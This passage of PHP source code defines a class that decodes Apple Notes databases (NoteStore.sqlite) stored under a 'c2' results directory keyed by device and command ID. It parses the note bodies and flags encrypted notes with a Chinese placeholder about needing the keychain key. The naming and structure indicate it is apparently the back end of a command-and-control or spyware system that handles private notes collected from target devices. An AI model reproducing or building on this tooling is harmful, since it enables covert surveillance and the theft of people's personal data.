Note.field3 -> Document.field2 for the visible text and * fall back to the ZSNIPPET column. Encrypted notes surface a placeholder. */ class DsMemoDecoder { private const RESULT_BASE = 'c2/ds-results'; /** * @return array{items: list, meta: array} */ public function decode(Device $device, string $commandId): array { $dir = self::RESULT_BASE.'/'.$device->device_id.'/'.$commandId; $disk = Storage::disk('local'); $errors = []; $items = []; $notes = 0; $encrypted = 0; $dbPath = null; $manifestPath = $dir.'/memo_scan.json'; if ($disk->exists($manifestPath)) { $manifest = json_decode((string) $disk->get($manifestPath), true); if (is_array($manifest)) { $dbPath = $manifest['db_path'] ?? null; } } $sqliteRel = $dir.'/NoteStore.sqlite'; if (! $disk->exists($sqliteRel)) { return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['NoteStore.sqlite missing under '.$dir])]; } $work = storage_path('app/c2/memo-work/'.$device->device_id.'/'.$commandId.'_'.uniqid()); @mkdir($work, 0775, true); foreach (['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'] as $f) { if ($disk->exists($dir.'/'.$f)) { file_put_contents($work.'/'.$f, (string) $disk->get($dir.'/'.$f)); } } try { $pdo = new \PDO('sqlite:'.$work.'/NoteStore.sqlite', null, null, [ \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC, ]); } catch (\Throwable $e) { $this->cleanup($work); return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['open sqlite: '.$e->getMessage()])]; } try { $noteEnt = $this->entityNumber($pdo, 'ICNote'); if ($noteEnt === null) { $errors[] = 'ICNote entity not found in Z_PRIMARYKEY'; return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, $errors)]; } $rows = $pdo->prepare( 'SELECT n.Z_PK AS pk, n.ZTITLE AS title, n.ZUSERTITLE AS user_title,' .' n.ZSNIPPET AS snippet,' .' nd.ZDATA AS zdata, nd.ZCRYPTOINITIALIZATIONVECTOR AS iv' .' FROM ZICCLOUDSYNCINGOBJECT n' .' LEFT JOIN ZICNOTEDATA nd ON nd.ZNOTE = n.Z_PK' .' WHERE n.Z_ENT = :ent ORDER BY n.Z_PK' ); $rows->execute([':ent' => $noteEnt]); foreach ($rows as $row) { $notes++; $item = $this->decodeRow($row); if ($item === null) { continue; } if (($item['_encrypted'] ?? false) === true) { $encrypted++; } unset($item['_encrypted']); $items[] = $item; } } catch (\Throwable $e) { $errors[] = 'query: '.$e->getMessage(); } finally { $pdo = null; $this->cleanup($work); } return ['items' => $items, 'meta' => $this->meta($device, $commandId, $dbPath, $notes, $encrypted, $errors)]; } /** @param array $row */ private function decodeRow(array $row): ?array { $pk = $row['pk'] ?? null; $title = $this->str($row['title'] ?? null); $userTitle = $this->str($row['user_title'] ?? null); $snippet = $this->str($row['snippet'] ?? null); $iv = $row['iv'] ?? null; $zdata = $row['zdata'] ?? null; $nativeId = is_numeric($pk) ? (int) $pk : null; if ($iv !== null && $this->blobLen($iv) > 0) { $body = $snippet !== '' ? $snippet : '[加密备忘录 — 需 keychain 密钥]'; $head = $userTitle !== '' ? $userTitle : $title; return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId, '_encrypted' => true]; } $body = null; if ($zdata !== null && $this->blobLen($zdata) > 0) { $body = $this->extractBody((string) $zdata); } // A body that is only object-replacement chars (U+FFFC = embedded // table/attachment placeholder) carries no readable text. Fall back // to the ZSNIPPET column, which holds Apple's plaintext preview — // for a table-only note that's the cell values (e.g. "1 2 3 5"). if ($body === null || ! $this->hasVisibleText($body)) { $body = $snippet; } $body = $body ?? ''; $head = $userTitle !== '' ? $userTitle : $title; return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId]; } private function extractBody(string $zdata): ?string { $decoded = @gzdecode($zdata); if ($decoded === false) { return null; } $note = $this->pbField($decoded, 2); if ($note === null) { return null; } $doc = $this->pbField($note, 3); if ($doc === null) { return null; } $body = $this->pbField($doc, 2); if ($body === null) { return null; } $body = str_replace(["\r\n", "\r"], "\n", $body); $body = preg_replace("/\n{3,}/", "\n\n", $body) ?? $body; return trim($body); } private function pbField(string $buf, int $field): ?string { $i = 0; $n = strlen($buf); while ($i < $n) { $tag = $this->varint($buf, $i, $i); if ($tag === null) { return null; } $fnum = $tag >> 3; $wtype = $tag & 7; if ($wtype === 0) { $this->varint($buf, $i, $i); } elseif ($wtype === 2) { $len = $this->varint($buf, $i, $i); if ($len === null || $len < 0 || $i + $len > $n) { return null; } $chunk = substr($buf, $i, (int) $len); $i += (int) $len; if ($fnum === $field) { return $chunk; } } elseif ($wtype === 5) { $i += 4; } elseif ($wtype === 1) { $i += 8; } else { return null; } } return null; } private function varint(string $buf, int $pos, int &$next): ?int { $val = 0; $shift = 0; $n = strlen($buf); while ($pos < $n) { $b = ord($buf[$pos++]); $val |= ($b & 0x7f) << $shift; if (($b & 0x80) === 0) { $next = $pos; return $val; } $shift += 7; if ($shift > 63) { return null; } } return null; } private function entityNumber(\PDO $pdo, string $name): ?int { try { $st = $pdo->prepare('SELECT Z_ENT FROM Z_PRIMARYKEY WHERE Z_NAME = :n LIMIT 1'); $st->execute([':n' => $name]); $v = $st->fetchColumn(); return $v === false || $v === null ? null : (int) $v; } catch (\Throwable $e) { return null; } } private function titleFromBody(string $body): string { $body = trim($body); if ($body === '') { return ''; } $firstLine = preg_split('/\n+/', $body, 2)[0] ?? $body; return mb_substr(trim($firstLine), 0, 80); } /** * True when $s has any visible character besides object-replacement * (U+FFFC), replacement (U+FFFD) and whitespace. */ private function hasVisibleText(string $s): bool { $stripped = preg_replace('/[\x{FFFC}\x{FFFD}\s]/u', '', $s) ?? ''; return $stripped !== ''; } private function str(mixed $v): string { return is_string($v) ? trim($v) : ''; } private function blobLen(mixed $v): int { return is_string($v) ? strlen($v) : 0; } /** @param list $errors */ private function meta(Device $device, string $commandId, ?string $dbPath, int $notes, int $encrypted, array $errors): array { return [ 'device_key' => $device->device_id, 'command_id' => $commandId, 'db_path' => $dbPath, 'notes' => $notes, 'encrypted' => $encrypted, 'errors' => $errors, ]; } private function cleanup(string $work): void { if (! is_dir($work)) { return; } foreach (glob($work.'/*') ?: [] as $f) { @unlink($f); } @rmdir($work); @rmdir(dirname($work)); } }